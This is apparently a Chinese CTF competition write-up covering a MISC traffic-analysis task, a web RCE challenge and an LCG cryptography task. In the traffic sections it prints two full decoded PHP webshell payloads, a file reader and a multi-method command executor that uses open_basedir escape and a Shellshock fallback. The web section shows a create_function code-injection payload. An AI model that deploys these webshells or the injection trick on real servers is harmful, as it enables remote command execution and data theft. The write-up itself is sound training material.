第三届“钓鱼城杯”网络安全技能大赛-初赛 部分WP

MISC

flow

1、用 Wireshark 打开解压后的文件,过滤出http的流量,逐个对请求和响应进行解码分析,发现该流量是先上传webshell,然后利用webshell进行攻击的流量

fc912fad0a8f4452904881d5596c000d.png

 2、在响应长度为709的流量中发现敏感文件flag.txt

b5edaf980bfe4914830f100891e9eb36.png

3、猜想下一步请求就是查看flag.txt文件内容,分析下一个请求

查看分组字节流

626250b4c2a84400899a9e83fc9cfb2e.png

f69479426da64dfd8458690f077d6756.png

放到CyberChef进行解码

adbdf4d411524d2f986c2a611edd86da.png

URL解码后,发现传递了三个参数air、jb4b82d0a4c3d5、o0cf98c06c2285

根据air参数可知道,需要对jb4b82d0a4c3d5的值进行base64解码

  • 对jb4b82d0a4c3d5的值进行base64解码后发现是PHP代码,复制到PhpStorm代码格式化
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) continue;
        $tmdir = $item . "/.bec1c";
        @mkdir($tmdir);
        if (!@file_exists($tmdir))continue;
        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) @chdir("..");
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;}}
function asenc($out){
    // 返回base64编码后的字符串
    return @base64_encode($out);
}
function asoutput(){
    // 读取缓冲区的内容
    $output = ob_get_contents();
    ob_end_clean();
    // 输出前置字符串
    echo "6cd90" . "8f25c4";
    // 输出base64编码后的内容
    echo @asenc($output);
    // 输出后置字符串
    echo "c50d" . "3d1e0";
}
ob_start();
try {
    // 接收o0cf98c06c2285参数,去掉前两个字符,然后base64解码
    $F = base64_decode(substr($_POST["o0cf98c06c2285"], 2));
    // 只读方式打开上面指定的文件
    $P = @fopen($F, "r");
    // 读取文件内容到缓冲区,如果文件大小小于4096就读取文件大小个字节,否则只读取4096个字节
    echo(@fread($P, filesize($F) ? filesize($F) : 4096));
    @fclose($P);;
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

这里对关键代码进行标注

  • 对 o0cf98c06c2285解码(注意:要删除前两个字符

                 未删除前两个字符                                                  删除前两个字符 

 9f3c617fb2234a65bba1439d42fdfe15.png22c252ac853d4094ba08a0b232ae7962.png

结合上面分析,这里读取/Users/chang/Sites/air/flag.txt内容,那么接下来的响应包的内容就是flag.txt里面的内容进行base64编码加上前置字符串和后置字符串 

4、查看响应包内容

这里直接用Wireshark跳过前置字符串和后置字符串进行base64解码

8784d1c173714eb1b64f6adff2bbefa9.png

 可以发现解码后是看到7b和7d,分别对应字符 {} 的十六进制编码

5、 解码后得到flag

aff51abadd0843c5830ce5d5accb362e.png

简单流量 

1、用Wireshark打开解压后的文件,逐步分析http流量,发现也是webshell流量题

在长度为368的响应包发现敏感文件

abb027ad421a41f2ab2ff7b1495d66c5.png

直接提取下一个请求,解码后发现参数a明文传输了一段PHP代码,后面跟着传递了3个参数

4ce7324394da47a9acc78db94705062d.png

270fb5d1648a447d963828a3ae356e1e.png

将PHP代码放到PhpStorm里面格式化,简单分析

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split("/;|:/", $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        };
        $tmdir = $item . "/.cab8cb0";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        };
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out){
    return $out;
}

function asoutput(){
    $output = ob_get_contents();
    ob_end_clean();
    echo "2a77" . "01e3a";
    echo @asenc($output);
    echo "465c" . "e3a62";
}

ob_start();
try {
    $p = base64_decode(substr($_POST["ya7bc128230026"], 2));
    $s = base64_decode(substr($_POST["x77118dbf56718"], 2));
    $envstr = @base64_decode(substr($_POST["paf2bc7ed125d1"], 2));
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r = "{$p} {$c}";
    function fe($f)
    {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    }
    function runshellshock($d, $c)
    {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print($output);
                return True;
            }
        }
        return False;
    }
    function runcmd($c)
    {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print(join("", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print(@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print(@fgets($io[1], 2048));
            }
            while (!@feof($io[2])) {
                print(@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret .= $so->ReadAll();
            $se = $e->StdErr();
            $ret .= $se->ReadAll();
            print($ret);
        } else {
            $ret = 127;
        }
        return $ret;
    }

    ;
    $ret = @runcmd($r . " 2>&1");
    print ($ret != 0) ? "ret={$ret}" : "";;
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

关键代码

3f74378e610746839f9a10ad683e0bcc.png

81b47ef7460f4ccfa800654a706921d1.png423fe342961b4286a48e4e8c7c94b51e.png

大概意思就是可以将x77118dbf56718参数的值当作命令执行,并且把命令执行结果响应给前端

 在对后面参数解码

ab0507efd57c4b8b82216c152c4c8365.png

 74d93f85fbec47348d5c93491586233b.png

可以发现这个请求先切换了目录,然后输出前置字符,再执行pwd命令,最后输出后置字符串

查看响应包,发现输出结果和预期一致(注意:在参数a的PHP代码中也输出了前置字符串和后置字符串,执行命令时也输出了前置字符串和后置字符串,所以响应包前置字符串很长,后置字符串有两行)

8898d7f21be54482a1f148e80ecb2e45.png

2、依次分析接下来的请求和响应 

在长度为5228的请求中发现执行了输出flag.zip压缩文件的hex

5a6d1523598a4733b28e71700c3a7457.png

直接提取响应包的内容

0c42362193a8472a8dfa8b8208e3ee99.png

分析请求包,去掉多余的字符(前置字符串、后置字符串、pwd的命令结果输出) 

3、提取ZIP文件

另存为txt文件 

0baf9d506c6b48aa8da9271acf922f1c.png

打开010Editor导入十六进制

85c838ce5daf41848ac14915ba697838.png

另存为flag.zip 

10bff81d252946d780ec74103f627f50.png

解压缩发现要密码

d12aeeffc067430191f9a21d117965d7.png

4、继续分析流量,查找密码

 在最后一个请求中发现执行了解压缩命令,密码为P@sSw03d445f71fec5f84f2292e4bf9ac1a5103d.png

e6880adacd8b4909be0f51f7eb01668c.png

可以发现响应结果也是成功解压了,说明密码就是P@sSw03d 

5、解压文件得到flag

bb638e879f3d4cc5a659dfaadcbd3a94.png

WEB

不一样的rce

1、打开靶场查看源码发现弹窗,很明显前端用JavaScript对F12做了限制

14a98d88c6214e789f30870a2c15b064.png

打开火狐浏览器,禁用JavaScript,让浏览器不执行js代码

c8ab50b2894e42498ecba8fb2bb396fc.png

2、查看源码,提示爬虫协议 ,爬虫协议提示爬虫者哪些页面不能爬取

5c9884b8cfbb499bab5e9e47d6abdbad.png

3、查看robots.txt爬虫协议,发现ikun.php 

a64271c567254847a59f485e32d87461.png

4、打开ikun.php发现php代码 

204e5846d89c47539a7bad388a7efd8f.png

审计代码,接收4个参数,code和c0_de参数不强相等,sha1加密却相等,两个参数没有转为string,可以用数组绕过。看到$a('',$b);就应该想到create_function(),所以ctf=}system("cat /flag");/*,}与前面进行闭合,/*注释后面代码。das不能以字母和数字开头,可以用反斜杠\进行转义,对于普通字符\c转义后就是原字符c。ctf参数不能cat、ls等可以用base64编码绕过。 

d79734d145df4882902c868a70f5aa7e.png

查看根目录下发现flag和dflag,分别查看flag和dflag 

d31e95b46ce74552a7fcb1db6c55424a.png

 5、在dflag中发现flag,构造payload获取flag

61f72844169e45848e727fda1a55ddb7.png

Crypto

BabyLCG

1、打开文件查看代码

from secret import flag
from random import choice
from Crypto.Util.number import *
from base64 import *

base = choice([1, 2, 3])
if base == 1:
    flag = bytes_to_long(b16encode(flag))
elif base == 2:
    flag = bytes_to_long(b32encode(flag))
else:
    flag = bytes_to_long(b64encode(flag))


class LCG:
    def __init__(self, seed, multiplier, increment, modulus):
        self.state = seed
        self.multiplier = multiplier
        self.increment = increment
        self.modulus = modulus

    def up(self):
        self.state = (self.state * self.multiplier + self.increment) % self.modulus
        return self.state


LcG = LCG(flag, getPrime(512), getPrime(512), getPrime(512))
gift = []
for i in range(10):
    gift.append(LcG.up())
print('gift = ' + str(gift[7:]))
print('modulus = ' + str(LcG.modulus))

'''
gift = [6998668913539720854586318078964097924269535810376945153454874762880079122855229214946631470660390590416643009737549611992701041036474370166645418280901007, 
1892495848465417621576404191173925036164429140753793974334011134456947671358112732280576451200645683850307514019481657914071929753218355720294738264191434, 
4484145280982945455195043055386171233045034368064549769546029757634338455428186964514780286626949054244061700559656648067211088700781715028531671487463280]
modulus = 10450107588012697221920913365783869685974004783055148990692823980665238902913056762076796149418379728342781425496729735242364725136682283797430781849299753
'''

从1  2  3随机选一个数字赋值给base

如果base为1则对flag进行base16加密...

循环做10次lcg操作,输出最后三次随机数序列和模数

2、 发现是lcg算法(ctf之lcg算法_ctf lcg-CSDN博客

公式:eq?X_%7Bn&plus;1%7D%3D%28aX_%7Bn%7D&plus;b%29%5Cmod%20m

2acde43910a34bc7be2e0f280e3568fd.png

 3、分析代码(未知乘数a、增量b,已知模数m、随机数X 8,9,10)

根据后三个随机数序列反推前7个,从而反推出种子seed(也就是flag)

4、最终exp

from Crypto.Util.number import *
from gmpy2 import gmpy2
from base64 import *

m = 10450107588012697221920913365783869685974004783055148990692823980665238902913056762076796149418379728342781425496729735242364725136682283797430781849299753

x = [6998668913539720854586318078964097924269535810376945153454874762880079122855229214946631470660390590416643009737549611992701041036474370166645418280901007,
1892495848465417621576404191173925036164429140753793974334011134456947671358112732280576451200645683850307514019481657914071929753218355720294738264191434,
4484145280982945455195043055386171233045034368064549769546029757634338455428186964514780286626949054244061700559656648067211088700781715028531671487463280]

n = 0
# # 公式二求a
a = ((x[n + 2] - x[n + 1]) * gmpy2.invert((x[n + 1] - x[n]), m)) % m
# # 公式三求b
b = (x[n + 1] - a * x[n]) % m
# # 公式一求初始值
aa = gmpy2.invert(a, m)
pre_x = [aa * (x[n] - b) % m]

for i in range(10):
    pre_x.append(aa * (pre_x[i] - b) % m)

seed = long_to_bytes(pre_x[7]).decode()
print(seed)
# 由于对flag随机编码,所以需要尝试解码,如果解码失败报错会导致程序退出,所以需要try except捕获异常
try:print(b16decode(seed))
except:pass

try:print(b32decode(seed))
except:pass

try:print(b64decode(seed))
except:pass

 5、执行代码得到flag

71c96203919149539e1df328fcfeda70.png 

 

 

  • 18
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值